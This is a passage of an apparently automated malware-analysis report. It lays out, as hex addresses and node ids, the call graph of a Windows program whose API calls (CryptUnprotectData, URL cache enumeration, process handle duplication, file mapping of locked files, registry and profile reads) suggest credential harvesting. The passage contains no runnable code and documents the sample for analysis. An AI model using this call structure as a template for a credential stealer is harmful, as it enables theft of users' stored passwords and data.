414c2e 16 API calls 38196->38203 38204 4458f9 38197->38204 38198 44557a 38205 44558c 38198->38205 38445 4136c0 38198->38445 38476 403fbe memset memset memset memset memset 38200->38476 38207 414c2e 16 API calls 38201->38207 38212 445bca 38202->38212 38213 445b38 memset memset memset 38202->38213 38208 44599c 38203->38208 38209 40b2cc 27 API calls 38204->38209 38449 444b06 38205->38449 38217 445a3e 38207->38217 38219 40b2cc 27 API calls 38208->38219 38220 445909 38209->38220 38222 4087b3 335 API calls 38210->38222 38221 445c8b memset memset 38212->38221 38278 445cf0 38212->38278 38225 445bd4 38213->38225 38226 445b98 38213->38226 38214 445849 38659 40b1ab ??3@YAXPAX ??3@YAXPAX 38214->38659 38227 40b2cc 27 API calls 38217->38227 38235 4459ac 38219->38235 38231 409d1f 6 API calls 38220->38231 38236 414c2e 16 API calls 38221->38236 38232 445621 38222->38232 38224 44589f 38660 40b1ab ??3@YAXPAX ??3@YAXPAX 38224->38660 38614 414c2e 38225->38614 38226->38225 38238 445ba2 38226->38238 38240 445a4f 38227->38240 38230 403335 38377 4452e5 43 API calls 38230->38377 38246 445919 38231->38246 38645 4454bf 20 API calls 38232->38645 38233 445823 38233->38214 38255 4087b3 335 API calls 38233->38255 38234 445854 38241 4458aa 38234->38241 38591 403c9c memset memset memset memset memset 38234->38591 38247 409d1f 6 API calls 38235->38247 38248 445cc9 38236->38248 38750 4099c6 wcslen 38238->38750 38239 4456b2 38647 40b1ab ??3@YAXPAX ??3@YAXPAX 38239->38647 38252 409d1f 6 API calls 38240->38252 38241->38193 38274 44594a 38241->38274 38244 445d3d 38273 40b2cc 27 API calls 38244->38273 38245 445d88 memset memset memset 38256 414c2e 16 API calls 38245->38256 38661 409b98 GetFileAttributesW 38246->38661 38257 4459bc 38247->38257 38258 409d1f 6 API calls 38248->38258 38249 445879 38249->38224 38268 4087b3 335 API calls 38249->38268 38251 445680 38251->38239 38499 4087b3 memset 38251->38499 38261 445a63 38252->38261 38253 40b2cc 27 API calls 38262 445bf3 38253->38262 38255->38233 38265 445dde 38256->38265 38726 409b98 GetFileAttributesW 38257->38726 38267 445ce1 38258->38267 38259 445bb3 38753 445403 memset 38259->38753 38271 40b2cc 27 API calls 38261->38271 38630 409d1f wcslen wcslen 38262->38630 38263 445928 38263->38274 38662 40b6ef 38263->38662 38275 40b2cc 27 API calls 38265->38275 38770 409b98 GetFileAttributesW 38267->38770 38268->38249 38280 445a94 38271->38280 38283 445d54 _wcsicmp 38273->38283 38274->38195 38274->38196 38286 445def 38275->38286 38276 4459cb 38276->38195 38293 40b6ef 249 API calls 38276->38293 38278->38230 38278->38244 38278->38245 38279 445389 255 API calls 38279->38212 38727 40ae18 38280->38727 38281 44566d 38281->38327 38550 413d4c 38281->38550 38290 445d71 38283->38290 38354 445d67 38283->38354 38285 445665 38646 40b1ab ??3@YAXPAX ??3@YAXPAX 38285->38646 38291 409d1f 6 API calls 38286->38291 38771 445093 23 API calls 38290->38771 38298 445e03 38291->38298 38293->38195 38294 4456d8 38300 40b2cc 27 API calls 38294->38300 38297 44563c 38297->38285 38303 4087b3 335 API calls 38297->38303 38772 409b98 GetFileAttributesW 38298->38772 38299 40b6ef 249 API calls 38299->38230 38305 4456e2 38300->38305 38301 40b2cc 27 API calls 38306 445c23 38301->38306 38302 445d83 38302->38230 38303->38297 38648 413fa6 _wcsicmp _wcsicmp 38305->38648 38310 409d1f 6 API calls 38306->38310 38308 445e12 38314 445e6b 38308->38314 38321 40b2cc 27 API calls 38308->38321 38312 445c37 38310->38312 38311 4456eb 38317 4456fd memset memset memset memset 38311->38317 38318 4457ea 38311->38318 38319 445389 255 API calls 38312->38319 38313 445b17 38747 40aebe 38313->38747 38774 445093 23 API calls 38314->38774 38649 409c70 wcscpy wcsrchr 38317->38649 38652 413d29 38318->38652 38325 445c47 38319->38325 38326 445e33 38321->38326 38323 445e7e 38328 445f67 38323->38328 38331 40b2cc 27 API calls 38325->38331 38332 409d1f 6 API calls 38326->38332 38327->38234 38568 403e2d memset memset memset memset memset 38327->38568 38334 40b2cc 27 API calls 38328->38334 38329 445ab2 memset 38335 40b2cc 27 API calls 38329->38335 38337 445c53 38331->38337 38333 445e47 38332->38333 38773 409b98 GetFileAttributesW 38333->38773 38339 445f73 38334->38339 38340 445aa1 38335->38340 38336 409c70 2 API calls 38341 44577e 38336->38341 38342 409d1f 6 API calls 38337->38342 38344 409d1f 6 API calls 38339->38344 38340->38313 38340->38329 38345 409d1f 6 API calls 38340->38345 38353 445389 255 API calls 38340->38353 38734 40add4 38340->38734 38739 40ae51 38340->38739 38346 409c70 2 API calls 38341->38346 38347 445c67 38342->38347 38343 445e56 38343->38314 38351 445e83 memset 38343->38351 38348 445f87 38344->38348 38345->38340 38349 44578d 38346->38349 38350 445389 255 API calls 38347->38350 38777 409b98 GetFileAttributesW 38348->38777 38349->38318 38356 40b2cc 27 API calls 38349->38356 38350->38212 38355 40b2cc 27 API calls 38351->38355 38353->38340 38354->38230 38354->38299 38357 445eab 38355->38357 38358 4457a8 38356->38358 38359 409d1f 6 API calls 38357->38359 38360 409d1f 6 API calls 38358->38360 38361 445ebf 38359->38361 38362 4457b8 38360->38362 38363 40ae18 9 API calls 38361->38363 38651 409b98 GetFileAttributesW 38362->38651 38373 445ef5 38363->38373 38365 4457c7 38365->38318 38367 4087b3 335 API calls 38365->38367 38366 40ae51 9 API calls 38366->38373 38367->38318 38368 445f5c 38370 40aebe FindClose 38368->38370 38369 40add4 2 API calls 38369->38373 38370->38328 38371 40b2cc 27 API calls 38371->38373 38372 409d1f 6 API calls 38372->38373 38373->38366 38373->38368 38373->38369 38373->38371 38373->38372 38375 445f3a 38373->38375 38775 409b98 GetFileAttributesW 38373->38775 38776 445093 23 API calls 38375->38776 38377->38171 38378->38176 38379->38171 38380->38169 38382 40c775 38381->38382 38778 40b1ab ??3@YAXPAX ??3@YAXPAX 38382->38778 38384 40c788 38779 40b1ab ??3@YAXPAX ??3@YAXPAX 38384->38779 38386 40c790 38780 40b1ab ??3@YAXPAX ??3@YAXPAX 38386->38780 38388 40c798 38389 40aa04 ??3@YAXPAX 38388->38389 38390 40c7a0 38389->38390 38781 40c274 memset 38390->38781 38395 40a8ab 9 API calls 38396 40c7c3 38395->38396 38397 40a8ab 9 API calls 38396->38397 38398 40c7d0 38397->38398 38810 40c3c3 38398->38810 38402 40c877 38411 40bdb0 38402->38411 38403 40c86c 38838 4053fe 37 API calls 38403->38838 38406 40c813 _wcslwr 38836 40c634 47 API calls 38406->38836 38408 40c829 wcslen 38409 40c7e5 38408->38409 38409->38402 38409->38403 38835 40a706 wcslen memcpy 38409->38835 38837 40c634 47 API calls 38409->38837 38972 404363 38411->38972 38416 40b2cc 27 API calls 38417 40be02 wcslen 38416->38417 38418 40bf5d 38417->38418 38426 40be1e 38417->38426 38989 40440c 38418->38989 38419 40be26 _wcsncoll 38419->38426 38422 40be7d memset 38423 40bea7 memcpy 38422->38423 38422->38426 38424 40bf11 wcschr 38423->38424 38423->38426 38424->38426 38425 40b2cc 27 API calls 38427 40bef6 _wcsnicmp 38425->38427 38426->38418 38426->38419 38426->38422 38426->38423 38426->38424 38426->38425 38428 40bf43 LocalFree 38426->38428 38992 40bd5d 28 API calls 38426->38992 38993 404423 38426->38993 38427->38424 38427->38426 38428->38426 38429 4135f7 39005 4135e0 38429->39005 38432 40b2cc 27 API calls 38433 41360d 38432->38433 38434 40a804 8 API calls 38433->38434 38435 413613 38434->38435 38436 41363e 38435->38436 38438 40b273 27 API calls 38435->38438 38437 4135e0 FreeLibrary 38436->38437 38439 413643 38437->38439 38440 413625 38438->38440 38439->38198 38440->38436 38441 413648 38440->38441 38442 413658 38441->38442 38443 4135e0 FreeLibrary 38441->38443 38442->38198 38444 413666 38443->38444 38444->38198 38447 4136e2 38445->38447 38446 413827 38644 41366b FreeLibrary 38446->38644 38447->38446 38448 4137ac CoTaskMemFree 38447->38448 38448->38447 39008 4449b9 38449->39008 38452 444c1f 38452->38184 38453 4449b9 35 API calls 38455 444b4b 38453->38455 38454 444c15 38457 4449b9 35 API calls 38454->38457 38455->38454 39028 444972 GetVersionExW 38455->39028 38457->38452 38458 444b99 memcmp 38462 444b8c 38458->38462 38459 444c0b 39032 444a85 35 API calls 38459->39032 38462->38458 38462->38459 39029 444aa5 35 API calls 38462->39029 39030 40a7a0 GetVersionExW 38462->39030 39031 444a85 35 API calls 38462->39031 38466 40399d 38465->38466 39033 403a16 38466->39033 38468 403a09 39047 40b1ab ??3@YAXPAX ??3@YAXPAX 38468->39047 38470 403a12 wcsrchr 38470->38191 38471 4039a3 38471->38468 38474 4039f4 38471->38474 39044 40a02c CreateFileW 38471->39044 38474->38468 38475 4099c6 2 API calls 38474->38475 38475->38468 38477 414c2e 16 API calls 38476->38477 38478 404048 38477->38478 38479 414c2e 16 API calls 38478->38479 38480 404056 38479->38480 38481 409d1f 6 API calls 38480->38481 38482 404073 38481->38482 38483 409d1f 6 API calls 38482->38483 38484 40408e 38483->38484 38485 409d1f 6 API calls 38484->38485 38486 4040a6 38485->38486 38487 403af5 20 API calls 38486->38487 38488 4040ba 38487->38488 38489 403af5 20 API calls 38488->38489 38490 4040cb 38489->38490 39074 40414f memset 38490->39074 38492 4040e0 38493 404140 38492->38493 38495 4040ec memset 38492->38495 38497 4099c6 2 API calls 38492->38497 38498 40a8ab 9 API calls 38492->38498 39088 40b1ab ??3@YAXPAX ??3@YAXPAX 38493->39088 38495->38492 38496 404148 38496->38251 38497->38492 38498->38492 39101 40a6e6 WideCharToMultiByte 38499->39101 38501 4087ed 39102 4095d9 memset 38501->39102 38504 408809 memset memset memset memset memset 38505 40b2cc 27 API calls 38504->38505 38506 4088a1 38505->38506 38507 409d1f 6 API calls 38506->38507 38508 4088b1 38507->38508 38509 40b2cc 27 API calls 38508->38509 38510 4088c0 38509->38510 38511 409d1f 6 API calls 38510->38511 38512 4088d0 38511->38512 38513 40b2cc 27 API calls 38512->38513 38514 4088df 38513->38514 38515 409d1f 6 API calls 38514->38515 38516 4088ef 38515->38516 38517 40b2cc 27 API calls 38516->38517 38518 4088fe 38517->38518 38519 409d1f 6 API calls 38518->38519 38520 40890e 38519->38520 38521 40b2cc 27 API calls 38520->38521 38522 40891d 38521->38522 38523 409d1f 6 API calls 38522->38523 38524 40892d 38523->38524 39119 409b98 GetFileAttributesW 38524->39119 38526 40893e 38527 408943 38526->38527 38528 408958 38526->38528 39120 407fdf 75 API calls 38527->39120 39121 409b98 GetFileAttributesW 38528->39121 38531 408964 38532 408969 38531->38532 38533 40897b 38531->38533 39122 4082c7 198 API calls 38532->39122 39123 409b98 GetFileAttributesW 38533->39123 38536 408953 38536->38251 38537 408987 38538 4089a1 38537->38538 38539 40898c 38537->38539 39125 409b98 GetFileAttributesW 38538->39125 39124 408560 29 API calls 38539->39124 38542 4089ad 38543 4089b2 38542->38543 38544 4089c7 38542->38544 39126 408560 29 API calls 38543->39126 39127 409b98 GetFileAttributesW 38544->39127 38547 4089d3 38547->38536 38548 4089d8 38547->38548 39128 408560 29 API calls 38548->39128 38551 40b633 ??3@YAXPAX 38550->38551 38552 413d65 CreateToolhelp32Snapshot memset Process32FirstW 38551->38552 38553 413f00 Process32NextW 38552->38553 38554 413da5 OpenProcess 38553->38554 38555 413f17 CloseHandle 38553->38555 38556 413df3 memset 38554->38556 38559 413eb0 38554->38559 38555->38294 39151 413f27 38556->39151 38558 413ebf ??3@YAXPAX 38558->38559 38559->38553 38559->38558 38560 4099f4 3 API calls 38559->38560 38560->38559 38561 413e37 GetModuleHandleW 38563 413e46 38561->38563 38565 413e1f 38561->38565 38563->38565 38564 413e6a QueryFullProcessImageNameW 38564->38565 38565->38561 38565->38564 39156 413959 38565->39156 39172 413ca4 38565->39172 38567 413ea2 CloseHandle 38567->38559 38569 414c2e 16 API calls 38568->38569 38570 403eb7 38569->38570 38571 414c2e 16 API calls 38570->38571 38572 403ec5 38571->38572 38573 409d1f 6 API calls 38572->38573 38574 403ee2 38573->38574 38575 409d1f 6 API calls 38574->38575 38576 403efd 38575->38576 38577 409d1f 6 API calls 38576->38577 38578 403f15 38577->38578 38579 403af5 20 API calls 38578->38579 38580 403f29 38579->38580 38581 403af5 20 API calls 38580->38581 38582 403f3a 38581->38582 38583 40414f 33 API calls 38582->38583 38589 403f4f 38583->38589 38584 403faf 39185 40b1ab ??3@YAXPAX ??3@YAXPAX 38584->39185 38585 403f5b memset 38585->38589 38587 403fb7 38587->38233 38588 4099c6 2 API calls 38588->38589 38589->38584 38589->38585 38589->38588 38590 40a8ab 9 API calls 38589->38590 38590->38589 38592 414c2e 16 API calls 38591->38592 38593 403d26 38592->38593 38594 414c2e 16 API calls 38593->38594 38595 403d34 38594->38595 38596 409d1f 6 API calls 38595->38596 38597 403d51 38596->38597 38598 409d1f 6 API calls 38597->38598 38599 403d6c 38598->38599 38600 409d1f 6 API calls 38599->38600 38601 403d84 38600->38601 38602 403af5 20 API calls 38601->38602 38603 403d98 38602->38603 38604 403af5 20 API calls 38603->38604 38605 403da9 38604->38605 38606 40414f 33 API calls 38605->38606 38612 403dbe 38606->38612 38607 403e1e 39186 40b1ab ??3@YAXPAX ??3@YAXPAX 38607->39186 38608 403dca memset 38608->38612 38610 403e26 38610->38249 38611 4099c6 2 API calls 38611->38612 38612->38607 38612->38608 38612->38611 38613 40a8ab 9 API calls 38612->38613 38613->38612 38615 414b81 8 API calls 38614->38615 38616 414c40 38615->38616 38617 414c73 memset 38616->38617 39187 409cea 38616->39187 38619 414c94 38617->38619 39190 414592 RegOpenKeyExW 38619->39190 38621 414c64 SHGetSpecialFolderPathW 38623 414d0b 38621->38623 38623->38253 38624 414cc1 38625 414cf4 wcscpy 38624->38625 39191 414bb0 wcscpy 38624->39191 38625->38623 38627 414cd2 39192 4145ac RegQueryValueExW 38627->39192 38629 414ce9 RegCloseKey 38629->38625 38631 409d62 38630->38631 38632 409d43 wcscpy 38630->38632 38635 445389 38631->38635 38633 409719 2 API calls 38632->38633 38634 409d51 wcscat 38633->38634 38634->38631 38636 40ae18 9 API calls 38635->38636 38637 4453c4 38636->38637 38638 40ae51 9 API calls 38637->38638 38639 4453f3 38637->38639 38640 40add4 2 API calls 38637->38640 38643 445403 250 API calls 38637->38643 38638->38637 38641 40aebe FindClose 38639->38641 38640->38637 38642 4453fe 38641->38642 38642->38301 38643->38637 38644->38205 38645->38297 38646->38281 38647->38281 38648->38311 38650 409c89 38649->38650 38650->38336 38651->38365 38653 413d39 38652->38653 38654 413d2f FreeLibrary 38652->38654 38655 40b633 ??3@YAXPAX 38653->38655 38654->38653 38656 413d42 38655->38656 38657 40b633 ??3@YAXPAX 38656->38657 38658 413d4a 38657->38658 38658->38327 38659->38234 38660->38241 38661->38263 38663 44db70 38662->38663 38664 40b6fc memset 38663->38664 38665 409c70 2 API calls 38664->38665 38666 40b732 wcsrchr 38665->38666 38667 40b743 38666->38667 38668 40b746 memset 38666->38668 38667->38668 38669 40b2cc 27 API calls 38668->38669 38670 40b76f 38669->38670 38671 409d1f 6 API calls 38670->38671 38672 40b783 38671->38672 39193 409b98 GetFileAttributesW 38672->39193 38674 40b792 38676 409c70 2 API calls 38674->38676 38688 40b7c2 38674->38688 38678 40b7a5 38676->38678 38681 40b2cc 27 API calls 38678->38681 38679 40b837 CloseHandle 38683 40b83e memset 38679->38683 38680 40b817 39277 409a45 GetTempPathW 38680->39277 38684 40b7b2 38681->38684 39227 40a6e6 WideCharToMultiByte 38683->39227 38685 409d1f 6 API calls 38684->38685 38685->38688 38686 40b827 38686->38683 39194 40bb98 38688->39194 38689 40b866 39228 444432 38689->39228 38692 40bad5 38695 40b04b ??3@YAXPAX 38692->38695 38693 40b273 27 API calls 38694 40b89a 38693->38694 39274 438552 38694->39274 38697 40baf3 38695->38697 38697->38274 38699 40bacd 39308 443d90 110 API calls 38699->39308 38702 40bac6 39307 424f26 122 API calls 38702->39307 38703 40b8bd memset 39298 425413 17 API calls 38703->39298 38706 425413 17 API calls 38724 40b8b8 38706->38724 38709 40a71b MultiByteToWideChar 38709->38724 38710 40a734 MultiByteToWideChar 38710->38724 38713 40b9b5 memcmp 38713->38724 38714 4099c6 2 API calls 38714->38724 38715 404423 37 API calls 38715->38724 38718 4251c4 136 API calls 38718->38724 38719 40bb3e memset memcpy 39309 40a734 MultiByteToWideChar 38719->39309 38721 40bb88 LocalFree 38721->38724 38724->38702 38724->38703 38724->38706 38724->38709 38724->38710 38724->38713 38724->38714 38724->38715 38724->38718 38724->38719 38725 40ba5f memcmp 38724->38725 39299 4253ef 16 API calls 38724->39299 39300 40b64c SystemTimeToFileTime FileTimeToLocalFileTime 38724->39300 39301 4253af 17 API calls 38724->39301 39302 4253cf 17 API calls 38724->39302 39303 447280 memset 38724->39303 39304 447960 memset memcpy memcpy memcpy 38724->39304 39305 40afe8 ??2@YAPAXI memcpy ??3@YAXPAX 38724->39305 39306 447920 memcpy memcpy memcpy 38724->39306 38725->38724 38726->38276 38728 40aebe FindClose 38727->38728 38729 40ae21 38728->38729 38730 4099c6 2 API calls 38729->38730 38731 40ae35 38730->38731 38732 409d1f 6 API calls 38731->38732 38733 40ae49 38732->38733 38733->38340 38735 40ade0 38734->38735 38736 40ae0f 38734->38736 38735->38736 38737 40ade7 wcscmp 38735->38737 38736->38340 38737->38736 38738 40adfe wcscmp 38737->38738 38738->38736 38740 40ae7b FindNextFileW 38739->38740 38741 40ae5c FindFirstFileW 38739->38741 38742 40ae94 38740->38742 38743 40ae8f 38740->38743 38741->38742 38745 40aeb6 38742->38745 38746 409d1f 6 API calls 38742->38746 38744 40aebe FindClose 38743->38744 38744->38742 38745->38340 38746->38745 38748 40aed1 38747->38748 38749 40aec7 FindClose 38747->38749 38748->38202 38749->38748 38751 4099d7 38750->38751 38752 4099da memcpy 38750->38752 38751->38752 38752->38259 38754 40b2cc 27 API calls 38753->38754 38755 44543f 38754->38755 38756 409d1f 6 API calls 38755->38756 38757 44544f 38756->38757 39667 409b98 GetFileAttributesW 38757->39667 38759 44545e 38760 445476 38759->38760 38761 40b6ef 249 API calls 38759->38761 38762 40b2cc 27 API calls 38760->38762 38761->38760 38763 445482 38762->38763 38764 409d1f 6 API calls 38763->38764 38765 445492 38764->38765 39668 409b98 GetFileAttributesW 38765->39668 38767 4454a1 38768 4454b9 38767->38768 38769 40b6ef 249 API calls 38767->38769 38768->38279 38769->38768 38770->38278 38771->38302 38772->38308 38773->38343 38774->38323 38775->38373 38776->38373 38777->38354 38778->38384 38779->38386 38780->38388 38782 414c2e 16 API calls 38781->38782 38783 40c2ae 38782->38783 38839 40c1d3 38783->38839 38788 40c3be 38805 40a8ab 38788->38805 38789 40afcf 2 API calls 38790 40c2fd FindFirstUrlCacheEntryW 38789->38790 38791 40c3b6 38790->38791 38792 40c31e wcschr 38790->38792 38793 40b04b ??3@YAXPAX 38791->38793 38794 40c331 38792->38794 38795 40c35e FindNextUrlCacheEntryW 38792->38795 38793->38788 38797 40a8ab 9 API calls 38794->38797 38795->38792 38796 40c373 GetLastError 38795->38796 38798 40c3ad FindCloseUrlCache 38796->38798 38799 40c37e 38796->38799 38800 40c33e wcschr 38797->38800 38798->38791 38801 40afcf 2 API calls 38799->38801 38800->38795 38802 40c34f 38800->38802 38803 40c391 FindNextUrlCacheEntryW 38801->38803 38804 40a8ab 9 API calls 38802->38804 38803->38792 38803->38798 38804->38795 38933 40a97a 38805->38933 38808 40a8cc 38808->38395 38809 40a8d0 7 API calls 38809->38808 38938 40b1ab ??3@YAXPAX ??3@YAXPAX 38810->38938 38812 40c3dd 38813 40b2cc 27 API calls 38812->38813 38814 40c3e7 38813->38814 38939 414592 RegOpenKeyExW 38814->38939 38816 40c3f4 38817 40c50e 38816->38817 38818 40c3ff 38816->38818 38832 405337 38817->38832 38819 40a9ce 4 API calls 38818->38819 38820 40c418 memset 38819->38820 38940 40aa1d 38820->38940 38823 40c471 38825 40c47a _wcsupr 38823->38825 38824 40c505 RegCloseKey 38824->38817 38826 40a8d0 7 API calls 38825->38826 38827 40c498 38826->38827 38828 40a8d0 7 API calls 38827->38828 38829 40c4ac memset 38828->38829 38830 40aa1d 38829->38830 38831 40c4e4 RegEnumValueW 38830->38831 38831->38824 38831->38825 38942 405220 38832->38942 38834 405340 38834->38409 38835->38406 38836->38408 38837->38409 38838->38402 38840 40ae18 9 API calls 38839->38840 38846 40c210 38840->38846 38841 40ae51 9 API calls 38841->38846 38842 40c264 38843 40aebe FindClose 38842->38843 38845 40c26f 38843->38845 38844 40add4 2 API calls 38844->38846 38851 40e5ed memset memset 38845->38851 38846->38841 38846->38842 38846->38844 38847 40c231 _wcsicmp 38846->38847 38848 40c1d3 34 API calls 38846->38848 38847->38846 38849 40c248 38847->38849 38848->38846 38864 40c084 21 API calls 38849->38864 38852 414c2e 16 API calls 38851->38852 38853 40e63f 38852->38853 38854 409d1f 6 API calls 38853->38854 38855 40e658 38854->38855 38865 409b98 GetFileAttributesW 38855->38865 38857 40e667 38858 409d1f 6 API calls 38857->38858 38860 40e680 38857->38860 38858->38860 38866 409b98 GetFileAttributesW 38860->38866 38861 40e68f 38862 40c2d8 38861->38862 38867 40e4b2 38861->38867 38862->38788 38862->38789 38864->38846 38865->38857 38866->38861 38888 40e01e 38867->38888 38869 40e593 38870 40e5b0 38869->38870 38871 40e59c DeleteFileW 38869->38871 38872 40b04b ??3@YAXPAX 38870->38872 38871->38870 38874 40e5bb 38872->38874 38873 40e521 38873->38869 38911 40e175 38873->38911 38876 40e5c4 CloseHandle 38874->38876 38877 40e5cc 38874->38877 38876->38877 38879 40b633 ??3@YAXPAX 38877->38879 38878 40e573 38880 40e584 38878->38880 38881 40e57c CloseHandle 38878->38881 38882 40e5db 38879->38882 38932 40b1ab ??3@YAXPAX ??3@YAXPAX 38880->38932 38881->38880 38883 40b633 ??3@YAXPAX 38882->38883 38885 40e5e3 38883->38885 38885->38862 38887 40e540 38887->38878 38931 40e2ab 30 API calls 38887->38931 38889 406214 22 API calls 38888->38889 38890 40e03c 38889->38890 38891 40e16b 38890->38891 38892 40dd85 60 API calls 38890->38892 38891->38873 38893 40e06b 38892->38893 38893->38891 38894 40afcf ??2@YAPAXI ??3@YAXPAX 38893->38894 38895 40e08d OpenProcess 38894->38895 38896 40e0a4 GetCurrentProcess DuplicateHandle 38895->38896 38900 40e152 38895->38900 38897 40e0d0 GetFileSize 38896->38897 38898 40e14a CloseHandle 38896->38898 38901 409a45 GetTempPathW GetWindowsDirectoryW GetTempFileNameW 38897->38901 38898->38900 38899 40e160 38903 40b04b ??3@YAXPAX 38899->38903 38900->38899 38902 406214 22 API calls 38900->38902 38904 40e0ea 38901->38904 38902->38899 38903->38891 38905 4096dc CreateFileW 38904->38905 38906 40e0f1 CreateFileMappingW 38905->38906 38907 40e140 CloseHandle CloseHandle 38906->38907 38908 40e10b MapViewOfFile 38906->38908 38907->38898 38909 40e13b CloseHandle 38908->38909 38910 40e11f WriteFile UnmapViewOfFile 38908->38910 38909->38907 38910->38909 38912 40e18c 38911->38912 38913 406b90 11 API calls 38912->38913 38914 40e19f 38913->38914 38915 40e1a7 memset 38914->38915 38916 40e299 38914->38916 38921 40e1e8 38915->38921 38917 4069a3 ??3@YAXPAX ??3@YAXPAX 38916->38917 38918 40e2a4 38917->38918 38918->38887 38919 406e8f 13 API calls 38919->38921 38920 406b53 SetFilePointerEx ReadFile 38920->38921 38921->38919 38921->38920 38922 40dd50 _wcsicmp 38921->38922 38923 40e283 38921->38923 38927 40742e 8 API calls 38921->38927 38928 40aae3 wcslen wcslen _memicmp 38921->38928 38929 40e244 _snwprintf 38921->38929 38922->38921 38924 40e291 38923->38924 38925 40e288 ??3@YAXPAX 38923->38925 38926 40aa04 ??3@YAXPAX 38924->38926 38925->38924 38926->38916 38927->38921 38928->38921 38930 40a8d0 7 API calls 38929->38930 38930->38921 38931->38887 38932->38869 38935 40a980 38933->38935 38934 40a8bb 38934->38808 38934->38809 38935->38934 38936 40a995 _wcsicmp 38935->38936 38937 40a99c wcscmp 38935->38937 38936->38935 38937->38935 38938->38812 38939->38816 38941 40aa23 RegEnumValueW 38940->38941 38941->38823 38941->38824 38943 40522a 38942->38943 38968 405329 38942->38968 38944 40b2cc 27 API calls 38943->38944 38945 405234 38944->38945 38946 40a804 8 API calls 38945->38946 38947 40523a 38946->38947 38969 40b273 38947->38969 38949 405248 _mbscpy _mbscat 38950 40526c 38949->38950 38951 40b273 27 API calls 38950->38951 38952 405279 38951->38952 38953 40b273 27 API calls 38952->38953 38954 40528f 38953->38954 38955 40b273 27 API calls 38954->38955 38956 4052a5 38955->38956 38957 40b273 27 API calls 38956->38957 38958 4052bb 38957->38958 38959 40b273 27 API calls 38958->38959 38960 4052d1 38959->38960 38961 40b273 27 API calls 38960->38961 38962 4052e7 38961->38962 38963 40b273 27 API calls 38962->38963 38964 4052fd 38963->38964 38965 40b273 27 API calls 38964->38965 38966 405313 38965->38966 38967 40b273 27 API calls 38966->38967 38967->38968 38968->38834 38970 40b58d 27 API calls 38969->38970 38971 40b18c 38970->38971 38971->38949 38973 40440c FreeLibrary 38972->38973 38974 40436d 38973->38974 38975 40a804 8 API calls 38974->38975 38976 404377 38975->38976 38977 4043f7 38976->38977 38978 40b273 27 API calls 38976->38978 38977->38416 38977->38418 38979 40438d 38978->38979 38980 40b273 27 API calls 38979->38980 38981 4043a7 38980->38981 38982 40b273 27 API calls 38981->38982 38983 4043ba 38982->38983 38984 40b273 27 API calls 38983->38984 38985 4043ce 38984->38985 38986 40b273 27 API calls 38985->38986 38987 4043e2 38986->38987 38987->38977 38988 40440c FreeLibrary 38987->38988 38988->38977 38990 404413 FreeLibrary 38989->38990 38991 40441e 38989->38991 38990->38991 38991->38429 38992->38426 38994 40447e 38993->38994 38995 40442e 38993->38995 38996 404485 CryptUnprotectData 38994->38996 38997 40449c 38994->38997 38998 40b2cc 27 API calls 38995->38998 38996->38997 38997->38426 38999 404438 38998->38999 39000 40a804 8 API calls 38999->39000 39001 40443e 39000->39001 39002 40444f 39001->39002 39003 40b273 27 API calls 39001->39003 39002->38994 39004 404475 FreeLibrary 39002->39004 39003->39002 39004->38994 39006 4135f6 39005->39006 39007 4135eb FreeLibrary 39005->39007 39006->38432 39007->39006 39009 4449c4 39008->39009 39027 444a48 39008->39027 39010 40b2cc 27 API calls 39009->39010 39011 4449cb 39010->39011 39012 40a804 8 API calls 39011->39012 39013 4449d1 39012->39013 39014 40b273 27 API calls 39013->39014 39015 4449dc 39014->39015 39016 40b273 27 API calls 39015->39016 39017 4449f3 39016->39017 39018 40b273 27 API calls 39017->39018 39019 444a04 39018->39019 39020 40b273 27 API calls 39019->39020 39021 444a15 39020->39021 39022 40b273 27 API calls 39021->39022 39023 444a26 39022->39023 39024 40b273 27 API calls 39023->39024 39025 444a37 39024->39025 39026 40b273 27 API calls 39025->39026 39026->39027 39027->38452 39027->38453 39028->38462 39029->38462 39030->38462 39031->38462 39032->38454 39034 403a29 39033->39034 39048 403bed memset memset 39034->39048 39036 403ae7 39061 40b1ab ??3@YAXPAX ??3@YAXPAX 39036->39061 39037 403a3f memset 39041 403a2f 39037->39041 39039 403aef 39039->38471 39040 409d1f 6 API calls 39040->39041 39041->39036 39041->39037 39041->39040 39042 409b98 GetFileAttributesW 39041->39042 39043 40a8d0 7 API calls 39041->39043 39042->39041 39043->39041 39045 40a051 GetFileTime CloseHandle 39044->39045 39046 4039ca CompareFileTime 39044->39046 39045->39046 39046->38471 39047->38470 39049 414c2e 16 API calls 39048->39049 39050 403c38 39049->39050 39051 409719 2 API calls 39050->39051 39052 403c3f wcscat 39051->39052 39053 414c2e 16 API calls 39052->39053 39054 403c61 39053->39054 39055 409719 2 API calls 39054->39055 39056 403c68 wcscat 39055->39056 39062 403af5 39056->39062 39059 403af5 20 API calls 39060 403c95 39059->39060 39060->39041 39061->39039 39063 403b02 39062->39063 39064 40ae18 9 API calls 39063->39064 39073 403b37 39064->39073 39065 403bdb 39067 40aebe FindClose 39065->39067 39066 40add4 wcscmp wcscmp 39066->39073 39068 403be6 39067->39068 39068->39059 39069 40a8d0 7 API calls 39069->39073 39070 40ae18 9 API calls 39070->39073 39071 40ae51 9 API calls 39071->39073 39072 40aebe FindClose 39072->39073 39073->39065 39073->39066 39073->39069 39073->39070 39073->39071 39073->39072 39075 409d1f 6 API calls 39074->39075 39076 404190 39075->39076 39089 409b98 GetFileAttributesW 39076->39089 39078 40419c 39079 4041a7 6 API calls 39078->39079 39080 40435c 39078->39080 39081 40424f 39079->39081 39080->38492 39081->39080 39083 40425e memset 39081->39083 39085 409d1f 6 API calls 39081->39085 39086 40a8ab 9 API calls 39081->39086 39090 414842 39081->39090 39083->39081 39084 404296 wcscpy 39083->39084 39084->39081 39085->39081 39087 4042b6 memset memset _snwprintf wcscpy 39086->39087 39087->39081 39088->38496 39089->39078 39093 41443e 39090->39093 39092 414866 39092->39081 39094 41444b 39093->39094 39095 414451 39094->39095 39096 4144a3 GetPrivateProfileStringW 39094->39096 39097 414491 39095->39097 39098 414455 wcschr 39095->39098 39096->39092 39100 414495 WritePrivateProfileStringW 39097->39100 39098->39097 39099 414463 _snwprintf 39098->39099 39099->39100 39100->39092 39101->38501 39103 40b2cc 27 API calls 39102->39103 39104 409615 39103->39104 39105 409d1f 6 API calls 39104->39105 39106 409625 39105->39106 39129 409b98 GetFileAttributesW 39106->39129 39108 409634 39109 409648 39108->39109 39146 4091b8 238 API calls 39108->39146 39111 40b2cc 27 API calls 39109->39111 39113 408801 39109->39113 39112 40965d 39111->39112 39114 409d1f 6 API calls 39112->39114 39113->38504 39113->38536 39115 40966d 39114->39115 39130 409b98 GetFileAttributesW 39115->39130 39117 